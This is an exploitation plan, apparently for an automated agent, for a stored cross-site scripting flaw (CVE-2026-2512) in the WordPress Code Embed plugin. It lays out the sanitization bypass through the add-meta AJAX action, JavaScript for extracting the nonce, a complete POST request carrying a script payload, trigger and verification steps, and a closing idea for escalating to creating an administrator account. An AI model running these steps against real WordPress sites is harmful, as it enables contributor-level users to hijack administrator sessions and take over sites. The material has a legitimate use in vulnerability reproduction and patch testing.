Research Plan: CVE-2026-2512 - Code Embed Stored XSS

1. Vulnerability Summary

The Code Embed plugin (versions <= 2.5.1) is vulnerable to Stored Cross-Site Scripting (XSS). The plugin uses WordPress Custom Fields (post meta) to store and embed code snippets (JavaScript, HTML, CSS) into posts and pages.

The security flaw exists in includes/secure.php. While the plugin attempts to sanitize custom fields using wp_kses_post() within the sec_check_post_fields() function, this function is only hooked to save_post. However, WordPress core provides an AJAX endpoint (wp_ajax_add_meta) that allows users with edit_posts capabilities (like Contributors) to add or update custom fields without triggering the save_post hook. Consequently, the sanitization logic is bypassed. When the post is rendered, the plugin's output filter fetches these unsanitized values and injects them directly into the page content.

2. Attack Vector Analysis

• Vulnerable Endpoint: /wp-admin/admin-ajax.php
• Action: add-meta
• Required Parameter: metakeyinput (must match the plugin's keyword prefix, default: CODE)
• Payload Parameter: metavalue (the XSS payload)
• Authentication Level: Authenticated (Contributor or higher). Contributors can edit their own posts and thus access the add-meta AJAX action for those posts.
• Preconditions:
  1. The attacker must have a post they are permitted to edit.
  2. The post must contain a "placeholder" identifier (e.g., {{CODE1}}) that the plugin will replace with the malicious meta value.

3. Code Flow

1. Injection:
   • The attacker sends a POST request to admin-ajax.php with action=add-meta.
   • WordPress core executes wp_ajax_add_meta(), which calls add_post_meta() or update_post_meta().
   • The save_post hook is not triggered by this AJAX action.
   • sec_check_post_fields() in includes/secure.php is never called, so wp_kses_post() is bypassed.
2. Storage: The raw payload (e.g., <script>alert(1)</script>) is stored in the wp_postmeta table.
3. Execution:
   • A victim (e.g., Administrator) views the post.
   • The plugin (likely via includes/add-embeds.php, referred to as ce_filter in descriptions) parses the content for identifiers like {{CODE1}}.
   • It retrieves the meta value for the key CODE1.
   • The plugin outputs the raw value into the HTML without further escaping, triggering the XSS.

4. Nonce Acquisition Strategy

The add-meta action requires a core WordPress nonce. This nonce is specific to the post being edited.

1. Identify Post: Create a post as a Contributor.
2. Navigate to Editor: Use browser_navigate to go to the edit page for that post: wp-admin/post.php?post=POST_ID&action=edit.
3. Extract Nonce: The nonce for adding meta is stored in a hidden input field with the ID _ajax_nonce-add-meta.
4. JavaScript Execution:

   browser_eval("document.getElementById('_ajax_nonce-add-meta').value")
   

5. Alternative (Global): If the hidden input is missing (due to Gutenberg), the nonce is often found in the wp-lists initialization or the _wpnonce parameter of other meta-related requests. However, for most WordPress versions, _ajax_nonce-add-meta remains the standard.

5. Exploitation Strategy

1. Setup User: Create a Contributor user (contributor / password).
2. Setup Content:
   • As the Contributor, create a post with the title "XSS Test" and content {{CODE1}}.
   • Capture the POST_ID.
3. Acquire Nonce:
   • Log in as the Contributor.
   • Navigate to the edit screen for POST_ID.
   • Extract the add-meta nonce using the strategy in Section 4.
4. Inject Payload:
   • Use http_request to call admin-ajax.php.
   • Method: POST
   • URL: http://vulnerable-wp.local/wp-admin/admin-ajax.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body Parameters:
     • action: add-meta
     • post_id: POST_ID
     • metakeyselect: #NONE#
     • metakeyinput: CODE1
     • metavalue: <script>alert(document.domain)</script>
     • _ajax_nonce-add-meta: [EXTRACTED_NONCE]
5. Trigger: Navigate to the public URL of the post (as any user).

6. Test Data Setup

• Plugin Configuration: Default settings (Keyword: CODE, Identifiers: {{ and }}).
• User Role: contributor
• Target Post:
  • Title: Vulnerable Post
  • Content: This is a test. {{CODE1}}
  • Status: publish

7. Expected Results

• The AJAX request should return a successful response (usually a partial HTML block for the custom fields table).
• When viewing the post, the HTML source should contain: <div>...<script>alert(document.domain)</script>...</div>.
• A browser alert box should appear showing the domain.

8. Verification Steps

1. Database Check:

   wp post meta get [POST_ID] CODE1
   

   Confirm the output is the raw payload <script>alert(document.domain)</script> and has not been stripped to empty or sanitized.
2. Frontend Check:

   http_request GET http://vulnerable-wp.local/?p=[POST_ID]
   

   Check the response body for the presence of the unescaped script tag.

9. Alternative Approaches

• Identifier Variation: The readme.txt mentions identifiers could be % (e.g., %CODE1%). If {{CODE1}} fails, try %CODE1%.
• Keyword Variation: If the site has changed the keyword identifier in settings, use wp option get artiss_code_embed to find the keyword_ident value.
• Global Embeds: The plugin supports global embeds. An attacker might try to set meta on a "global" post if configured, potentially affecting all pages on the site.
• XSS to RCE: In a real-world scenario, the payload would be a script to create a new Administrator user via the /wp-admin/user-new.php CSRF.